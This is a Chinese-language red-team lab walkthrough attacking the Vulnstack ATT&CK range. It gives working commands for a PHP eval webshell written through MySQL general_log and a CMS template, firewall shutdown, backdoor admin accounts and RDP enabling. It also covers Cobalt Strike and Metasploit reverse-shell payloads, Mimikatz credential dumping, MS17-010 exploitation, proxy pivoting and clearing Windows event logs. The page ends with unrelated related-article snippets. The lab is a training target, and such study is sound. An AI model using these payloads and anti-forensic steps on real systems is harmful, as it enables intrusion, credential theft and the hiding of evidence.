ATTCK实战系列——红队实战(一)

文章目录

  • 网络拓扑
  • 环境搭建
  • 外网渗透
    • 信息收集
      • 端口扫描
      • 目录扫描
    • 漏洞利用
      • phpmyadmin拿shell
        • general_log_file写一句话
        • 蚁剑连接
      • 网站后台拿shell
      • 关闭防火墙
      • 新建用户,开启3389
  • 内网渗透
    • (一)CS
      • CS木马上线
      • 信息收集
        • hashdump
        • Mimikatz抓取明文密码
      • 权限提升
      • 横向移动
      • CS痕迹清楚
    • (二)MSF
      • msf木马上线
      • 信息收集
      • 横向移动
        • 添加路由、挂上Socks4a代理
        • nmap漏洞扫描
        • ms17-010命令执行
        • rdesktop远程连接

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

开机密码:hongrisec@2019

进入环境后要先改系统密码

网络拓扑

image-20231116210021237

环境搭建

先将 server2003 和 server2008 两台主机都设置为自定义VMnet1

VMnet1仅主机模式的子网地址改为192.168.52.0

image-20231116205828798

image-20231116205910294

Win7添加一块网卡,一块是NAT模式,另一块是VMnet1仅主机模式

image-20231116210210767

IP地址:

win7:  192.168.52.128           10.9.75.6
2008:  192.168.52.138
2003:  192.168.52.141

image-20231116211457145

启动Win7的Web服务

image-20231116214619121

image-20231116214630456

外网渗透

信息收集

端口扫描

nmap --min-rate 1000 10.9.75.6

image-20231116220159122

sudo nmap -sT -sV  -sC -O -p 80,3306 10.9.75.6

image-20231116220453013

sudo nmap --script=vuln -p 3306,80 10.9.75.6

image-20231116220724223

目录扫描

御剑后台扫描工具

image-20231116224108915

访问80端口

image-20231116222449223

知道了网站的绝对路径C:/phpStudy/WWW

image-20231116220914234

存在root:root弱口令

image-20231116220938300

访问phpMyAdmin

image-20231116221034913

漏洞利用

phpmyadmin拿shell

general_log_file写一句话

尝试能不能通过这个数据库管理页面写一句话,拿WebShell

SHOW GLOBAL VARIABLES LIKE "%secure%"

image-20231116221316417

说明不能通过into outfile来写一句话

查看general_log是否开启

show global variables like "%general%"

image-20231116221541129

开启general_log

set global general_log="on";

再次查询,此时日志功能就开启了

image-20231116221634860

可以通过general_log_file指定为一个php后缀的文件,来写查询语句

set global general_log_file="C:\\phpstudy\\www\\shell.php";
select "<?php  @eval($_REQUEST[6868])?>";

image-20231116221953362

蚁剑连接

image-20231116222258539

进入文件管理,发现一个beifen.rar备份文件

image-20231116224229009

下载到kali本地,然后解压

rar x beifen.rar

rar

解压:rar x FileName.rar

压缩:rar e FileName.rar

image-20231116224554249

网站后台拿shell

http://10.9.75.6/yxcms/

image-20231116225127725

http://10.9.75.6/yxcms/index.php?r=admin

登陆网站后台

image-20231116225248366

新建前台模板,写一句话

image-20231116225432087

image-20231116225452192

<?php @eval($_POST['cmd'])?>; 

image-20231116230608453

在拿到的备份文件中,找到模板的上传点

image-20231116225907521

http://10.9.75.6/yxcms/protected/apps/default/view/default/

image-20231116230055297

访问webshell.php

http://10.9.75.6/yxcms/protected/apps/default/view/default/webshell.php

image-20231116230524622

关闭防火墙

netsh advfirewall show allprofile state     (显示防火墙)netsh advfirewall set allprofiles state off (关闭防火墙)

image-20231117132031804

新建用户,开启3389

net user saury 123.com /add # 添加账户密码
net localgroup administrators saury /add  # 添加为管理员权限

image-20231117132145236

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

如果防火墙没关,rdp会登录失败

image-20231117132242981

内网渗透

(一)CS

CS木马上线

kali既充当CS服务端,也充当CS客户端

启动服务端

image-20231117133052571

客户端连接

image-20231117133157944

开启监听

image-20231117133251390

生成木马

image-20231117133321801

image-20231117133342718

点击Generate生成木马artifact_x64.exe,保存到 一个位置

木马上线

image-20231117133551853

image-20231117133704737

执行完木马文件后,CS木马就上线了

image-20231117133734929

目标上线之后,我们第一步首先要做的就是先将睡眠时间设置为0

image-20231117134908657

在会话交互框中输入命令:sleep 0,将睡眠时间设置为0

image-20231117135003535

在会话交互框中输入shell whoami可以瞬间得到如下所示的回显,说明睡眠时间设置为0完成

image-20231117135042657

信息收集

一些CS内网信息收集的命令

shell whoami                //显示administrator权限
shell systeminfo            //查看系统信息
shell ipconfig /all         //查看是否存在域shell net time /domain          //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。shell net view /domain      //查看所有域shell nbtbios               //快速探测内网shell net group "domain computers" /domain  //查看域控制器主机名shell nltest /domain_trusts //查看域信任关系shell net accounts /domain  //查看域内账号密码信息shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain        //获取域控制器列表
shell net group "Domain Admins" /domain             //获取域管理员列表
shell Tasklist /v            //列出进程和进程用户
shell systeminfo   

image-20231117142524768

image-20231117142818741

查看域中的机器

image-20231117142928435

hashdump

image-20231117143044466

image-20231117143026831

Mimikatz抓取明文密码

image-20231117143107613

或者直接输入命令也可以执行logonpasswords

image-20231117143230272

权限提升

利用ms15-051

image-20231117143914090

image-20231117143946074

将win7提成SYSTEM权限

横向移动

通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机

新建一个SMB监听器

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexecStageless Payload上线

image-20231117144046566

image-20231117144320333

拿下域控 主机

image-20231117144353531

看到∞∞这个字符 ,这就是派生的SMB Beacon

查看其IP地址

image-20231117144708264

再次通过拿下的域控拿下其他域成员机

image-20231117144435804

image-20231117144514033

image-20231117144522649

image-20231117144739019

横向成功!!!

CS痕迹清楚

根据入侵的路径依次删除上传的工具、删除Web日志、FTP日志等。

清除安全日志

shell wevtutil cl Security

清除系统日志,

shell wevtutil cl System

清除应用日志

shell wevtutil cl Application

清除启动日志

shell wevtutil cl Setup

清除RDP登录日志

shell wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true 

删除防火墙日志

shell del C:\Windows\System32\LogFiles\Firewall\pfirewall.log

删除PowerShell执行历史记录

shell del 
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

(二)MSF

msf木马上线

制作msf木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-IP LPORT=your-PORT -f exe -o /home/kali/tmp/shell.exe

image-20231117152202589

开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.75.3
set lport 4567
run

通过蚁剑将生成的木马上传并运行

image-20231117152740528

木马成功上线,进行system提权

image-20231117152837225

信息收集

首先获取目标主机的shell

image-20231117152945711

出现乱码,可以使用chcp 65001解决乱码问题

查看路由表

route print

image-20231117153317504

可以看出内网网段是192.168.52.0/24

查看系统信息

systeminfo

image-20231117154912163

image-20231117154958667

查看是否在域内

ipconfig /all

image-20231117153434469

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

image-20231117153639092

net view //查看域内主机

image-20231117154648700

image-20231117155112423

得到域内其他主机地址

  • OWA:192.168.52.138
  • ROOT-TVI862UBEH:192.168.52.141

查看域内用户

net user /domain

获取主机用户密码哈希

hashdump

image-20231117155419379

用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

image-20231117160104658

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

MSF使用_MSF中kiwi(mimikatz)模块的使用

尝试抓取域内的账号密码:利用 msf 的 kiwi 模块

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

横向移动

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道,设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

image-20231117162817587

暂时把会话挂起来background

use auxiliary/server/socks_proxy    //使用socks代理set SRVHOST 10.9.75.3        //MSF本机的IP地址set VERSION 4a                      //设置socks代理的版本exploit            //开始代理

image-20231117163312002

然后在 proxychains 的配置文件 /etc/proxychains4.conf,添加Kali本机的1080端口:

sudo vim /etc/proxychains4.conf 

image-20231117163513812

image-20231117163500181

然后执行命令时,前面加上 proxychains 即可

image-20231117163748098

nmap漏洞扫描
proxychains nmap --script=vuln 192.168.52.141

image-20231117171504026

ms17-010命令执行

知道了目标主机中存在一些漏洞:MS08-067、MS17-010等等,我们就可以用MS17-010的EXP来拿下目标主机,MS17-010的EXP打不了,它这个漏洞有很多莫名其妙的问题,很多其它的因素会导致各种各样的问题出现,打不了并不代表这个漏洞利用不了,有别的玩法,同样也是用MS17-010,MS17-010这个漏洞不光是可以用来拿权限,我们还可以用它来干其它的操作,比如说我们可以用这个漏洞来添加一个账户,因此我们需要用到对应的一个模块,在kali的具有MSF的那个终端中输入命令:这个模块可以在MSF中输入search ms17-010来搜索到,输入完命令之后,会出现很多模块

image-20231117165747432

set rhosts 192.168.52.141        //设置IP地址为目标主机的IP地址set COMMAND net user hack 123.com /add    //设置要添加的账号和密码,密码在设置的时候要注意:这里的密码设置有一个策略的问题存在,所以我们在设置密码的时候需要搞得复杂一点,不然过不了exploit        //执行

得到以下的结果,说明执行成功

image-20231117165716050

继续执行,将创建的hack用户添加到管理员组

set command net localgroup administrators hack /add
exploit

image-20231117170031190

查看用户是否添加到管理员组里面

set command net localgroup administrators

image-20231117170149311

开启3389

因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

image-20231117173256819

rdesktop远程连接

安装rdesktop

sudo apt install rdesktop
proxychains rdesktop 192.168.52.141

image-20231117173754393

image-20231117173835110

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/197517.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构——树状数组

文章目录 前言问题引入问题分析树状数组lowbit树状数组特性初始化一个树状数组更新操作前缀和计算区间查询 总结 前言 原题的连接 最近刷leetcode的每日一题的时候&#xff0c;遇到了一个区间查询的问题&#xff0c;使用了一种特殊的数据结构树状数组&#xff0c;学习完之后我…

Spring Boot中使用MongoDB完成数据存储

我们在开发中用到的数据存储工具有许多种&#xff0c;我们常见的数据存储工具包括&#xff1a; 关系性数据库&#xff1a;使用表格来存储数据&#xff0c;支持事务和索引。&#xff08;如&#xff1a;MySQL&#xff0c;Oracle&#xff0c;SQL Server等&#xff09;。NoSQL数据…

青少年CTF-WEB-2048

题目环境&#xff1a; 针对这种游戏通关类题目&#xff0c;常见的有两种情况 一、有参数改参数的数值达到题目规定的分数即可拿到flag 二、没有参数那么flag就是被编码了&#xff0c;找编码即可 这道题并没有说题目通关即可获得flag&#xff0c;也并没有发现参数 所以这里猜测f…

Flutter笔记: 在Flutter应用中使用SQLite数据库

Flutter笔记 在Flutter应用中使用SQLite数据库&#xff08;基于sqflite&#xff09; 作者&#xff1a;李俊才 &#xff08;jcLee95&#xff09;&#xff1a;https://blog.csdn.net/qq_28550263 邮箱 &#xff1a;291148484163.com 本文地址&#xff1a;https://blog.csdn.net/q…

Kubernetes(k8s)进阶

文章目录 Kubernetes进阶一、Namespace&#xff08;名称空间&#xff09;1.namespace介绍2.管理namespace查看namespace创建namespace删除namespaceyaml文件配置namespace 二、Pod&#xff08;最小基本部署单元&#xff09;1.pod介绍2.管理pod创建并运行pod查看pod信息访问pod删…

Windows上搭建一个网站(基本生产环境)

前言 本博客记录的是Windows上一次网站搭建的过程&#xff0c;主要是在前端采用的是React&#xff0c;后端采用的是Flask&#xff0c;记录一下生产版本搭建流程和坑点&#xff0c;供有缘人一起进步&#xff0c;当然本博客还存在很多不足。 前端项目构建生产版本 以React为例…

SOME/IP 协议介绍(六)接口设计的兼容性规则

接口设计的兼容性规则&#xff08;信息性&#xff09; 对于所有序列化格式而言&#xff0c;向较新的服务接口的迁移有一定的限制。使用一组兼容性规则&#xff0c;SOME / IP允许服务接口的演进。可以以非破坏性的方式进行以下添加和增强&#xff1a; • 向服务中添加新方法 …

vite vue3安装element-plus

准备 参考 安装 官网 yarn add element-plus完整引入 如果你对打包后的文件大小不是很在乎&#xff0c;那么使用完整导入会更方便。 main.ts // main.ts import { createApp } from vue import ElementPlus from element-plus import element-plus/dist/index.css import…

DNS1(Bind软件)

名词解释 1、DNS&#xff08;Domain Name System&#xff09; DNS即域名系统&#xff0c;它是一个分层的分布式数据库&#xff0c;存储着IP地址与主机名的映射 2、域和域名 域为一个标签&#xff0c;而有多个标签域构成的称为域名。例如hostname.example.com&#xff0c;其…

Git分支管理

愿所有美好如期而遇 目录 理解分支 创建分支 切换分支 合并分支 删除分支 合并冲突 分支管理策略 理解分支 每次提交master都会前进一步&#xff0c;随着不断提交&#xff0c;master分支的线越来越长&#xff0c;而HEAD指向哪条分支就是当前工作的分支。 master分支是我…

NI USRP RIO软件无线电

NI USRP RIO软件无线电 NI USRP RIO是SDR游戏规则的改变者&#xff0c;它为无线通信设计人员提供了经济实惠的SDR和前所不高的性能&#xff0c;可帮助开发下一代5G无线通信系统。“USRP RIO”是一个术语&#xff0c;用于描述包含FPGA的USRP软件定义无线电设备&#xff0c;例如…

系列十、你说你做过JVM调优和参数配置,请问如何盘点JVM系统的默认值?

一、JVM的参数类型 1.1、标配参数 java -versionjava -help 1.2、XX参数 1.2.1、Boolean类型 公式&#xff1a;-XX:或者- 某个属性值 表示开启、-表示关闭 # 是否打印GC收集细节 -XX:PrintGCDetails -XX:-PrintGCDetails# 是否使用串行垃圾收集器 -XX:UseSerialGC -XX:-UseS…

数据挖掘复盘——apriori

read_csv函数返回的数据类型是Dataframe类型 对于Dataframe类型使用条件表达式 dfdf.loc[df.loc[:,0]2]df: 这是一个DataFrame对象的变量名&#xff0c;表示一个二维的表格型数据结构&#xff0c;类似于电子表格或SQL表。 df.loc[:, 0]: 这是使用DataFrame的.loc属性来进行…

Typecho框架漏洞

这里说的框架漏洞只适用于1.2.0版本及以下的版本 这里说的漏洞是xss漏洞&#xff0c;学过渗透的应该都学过&#xff0c;我在这里就不过多阐述了&#xff0c;下面我们直接进入正题 直接在这个地方插入网址&#xff0c;后面再接上html代码即可&#xff0c;代码如下&#xff1a; …

在 el-table 中嵌入 el-checkbox el-input el-upload 多组件,实现复杂业务场景

由于业务场景的复杂性&#xff0c;需实现&#xff1a;在 el-table 表格中 嵌入 el-checkbox 多选框 及 el-input 输入框 及 el-upload 上传组件 &#xff0c;先附上实现效果图。 从图片可以看出其实就是一个规格可以带有多个属性的规格表&#xff0c;实现此效果需涉及到的知识点…

网页视频下载工具 iTubeGo mac中文版软件特色

iTubeGo YouTube Downloader mac是一款功能强大的YouTube视频下载工具。 iTubeGo YouTube Downloader mac软件特色 多种格式支持&#xff1a;iTubeGo YouTube Downloader可以将YouTube视频下载为多种常见的视频和音频格式&#xff0c;包括MP4、MP3、AVI、FLV、MOV、WMV等&…

【Android】Android Framework系列--CarUsbHandler源码分析

Android Framework系列–CarUsbHandler源码分析 本文基于Android12源码。 CarUsbHandler是Android Car提供的服务之一&#xff0c;其用车载USB连接的场景。 车载USB有其特殊应用场景&#xff0c;比如AndroidAuto、CarLife等。而Android的做法是在其原有的USB服务上&#xff0…

使用html2canvas转换table为图片时合并单元格rowspan失效,无边框显示问题解决(React实现)

最近使用 html2canvas导出Table表单为图片&#xff0c;但是转换出的图片被合并的单元格没有显示边框 查了原因是因为我为tr设置了背景色&#xff0c;然后td设置了rowspan&#xff0c;设置了rowspan的单元格就会出现边框不显示的问题。 解决方法就是取消tr的背景色&#xff0c;然…

力扣 hot100 最长连续序列 哈希去重 双指针

128. 最长连续序列 ⭐ AC code class Solution {public int longestConsecutive(int[] nums) {if (nums.length 0)// 特判为空的数组&#xff0c;返回0return 0; // set实现去重HashSet<Integer> set new HashSet<>();for (int x : nums)set.add(x);Object[] a…

Kafka(四)消费者消费消息

文章目录 如何确保不重复消费消息&#xff1f;消费者业务逻辑重试消费者提交自定义反序列化类消费者参数配置及其说明重要的参数session.time.ms和heartbeat.interval.ms和group.instance.id增加消费者的吞吐量消费者消费的超时时间和poll()方法的关系 消费者消费逻辑启动消费者…